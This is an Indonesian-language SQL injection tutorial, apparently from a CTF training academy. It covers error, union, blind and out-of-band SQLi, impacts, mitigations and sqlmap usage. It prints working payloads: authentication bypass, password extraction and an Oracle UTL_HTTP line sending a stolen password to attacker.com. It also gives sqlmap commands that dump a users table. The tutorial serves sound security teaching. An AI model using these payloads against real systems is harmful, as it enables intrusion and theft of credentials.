TDCTF Academy Logo TDCTF ACADEMY

SQL Injection (SQLi)

Pendahuluan

SQL Injection (SQLi) adalah kerentanan keamanan pada lapisan database yang memungkinkan penyerang menyisipkan (inject) query SQL berbahaya melalui input pengguna yang tidak divalidasi. Serangan ini terjadi ketika aplikasi web menyusun query SQL secara dinamis dengan menggabungkan input pengguna langsung ke dalam string query tapa menggunakan parameterized query atau prepared statement.

Tipe-Tipe SQL Injection

1. In-Band SQL Injection (Error-Based)

In-band adalah tipe SQLi paling umum, di mana penyerang menggunakan jalur komunikasi yang sama untuk melancarkan serangan dan menerima hasilnya.

Error-Based SQLi: Penyerang memanfaatkan pesan error dari database untuk memahami struktur database. Contoh payload:

' OR 1=1 --
' UNION SELECT username, password FROM users --
' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT DATABASE()))) --

Payload OR 1=1 pada query SELECT * FROM users WHERE username = 'admin' OR 1=1 --' akan mengembalikan seluruh baris dalam tabel users, mem-bypass autentikasi.

Union-Based SQLi: Menggunakan keyword UNION untuk menggabungkan hasil query asli dengan hasil query milik penyerang. Contoh:

' UNION SELECT null, username, password FROM users --

2. Blind SQL Injection (Boolean-Based)

Penyerang tidak melihat data langsung dari database, tetapi menyimpulkan informasi berdasarkan respons boolean (true/false) dari aplikasi. Contoh payload:

' AND 1=1 -- (respons normal/halaman valid)
' AND 1=2 -- (respons berbeda/halaman kosong)
' AND SUBSTRING((SELECT password FROM users WHERE id=1),1,1)='a' --

Penyerang menebak karakter satu per satu dengan mengamati perbedaan respons.

3. Blind SQL Injection (Time-Based)

Mirip boolean-based, tetapi menggunakan fungsi time-delay database untuk menyimpulkan kebenaran kondisi. Contoh payload:

'; IF (SELECT COUNT(*) FROM users) > 10 WAITFOR DELAY '0:0:5' --
' OR IF(1=1, SLEEP(5), 0) --

Jika aplikasi membutuhkan waktu 5 detik untuk merespons, penyerang tahu kondisi bernilai true.

4. Out-of-Band SQL Injection

Penyerang menggunakan jalur komunikasi berbeda untuk menerima data, biasanya melalui DNS lookup atau HTTP request. Digunakan ketika database tidak menampilkan hasil langsung. Contoh (Oracle):

' UTL_HTTP.request('http://attacker.com/' || (SELECT password FROM users WHERE id=1)) --

Server database akan melakukan HTTP request ke server penyerang dengan data yang dicuri.

Dampak SQL Injection

  • Data Breach: Pencurian data sensitif seperti password hash, data kartu kredit, informasi pribadi.
  • Authentication Bypass: Melewati login dengan payload seperti ' OR '1'='1' --.
  • Database Compromise: Modifikasi, penghapusan, atau penambahan data.
  • Privilege Escalation: Eskalasi hak akses dalam database.
  • Remote Code Execution: Pada beberapa database, query berbahaya dapat menjalankan perintah sistem operasi (xp_cmdshell pada SQL Server).

Mitigasi

  1. Parameterized Queries / Prepared Statements: Gunakan placeholder (? atau :param) untuk mengikat parameter query, bukan concatenation string. Ini adalah pertahanan utama dan paling efektif.

    # AMAN: parameterized query
    cursor.execute("SELECT * FROM users WHERE username = %s", (username,))

    # RENTAN: string concatenation
    cursor.execute(f"SELECT * FROM users WHERE username = '{username}'")
  2. Object Relational Mapping (ORM): Framework seperti SQLAlchemy, Hibernate, Entity Framework secara otomatis menggunakan parameterized query.

  3. Input Validation: Validasi tipe data, panjang, dan format input. Gunakan allowlist pattern.

  4. Stored Procedures: Gunakan stored procedure dengan parameter yang sudah ditentukan.

  5. Least Privilege: Gunakan akun database dengan hak akses minimal yang diperlukan.

  6. Web Application Firewall (WAF): Deteksi dan blokir payload SQLi sebelum mencapai aplikasi.

Alat Bantu: SQLMap

sqlmap adalah tools open-source otomatis untuk deteksi dan eksploitasi SQL injection. Contoh penggunaan:

sqlmap -u "http://target.com/page?id=1" --batch --dbs
sqlmap -u "http://target.com/page?id=1" -D database --tables
sqlmap -u "http://target.com/page?id=1" -D database -T users --dump

Kesimpulan

SQL Injection tetap menjadi salah satu kerentanan paling kritis dalam OWASP Top 10. Dengan penerapan parameterized query, input validation, dan praktik keamanan database lainnya, risiko SQLi dapat dihilangkan secara signifikan. Selalu asumsikan input pengguna tidak dapat dipercaya dan perlakukan semua input sebagai potensi serangan.

PADA HALAMAN INI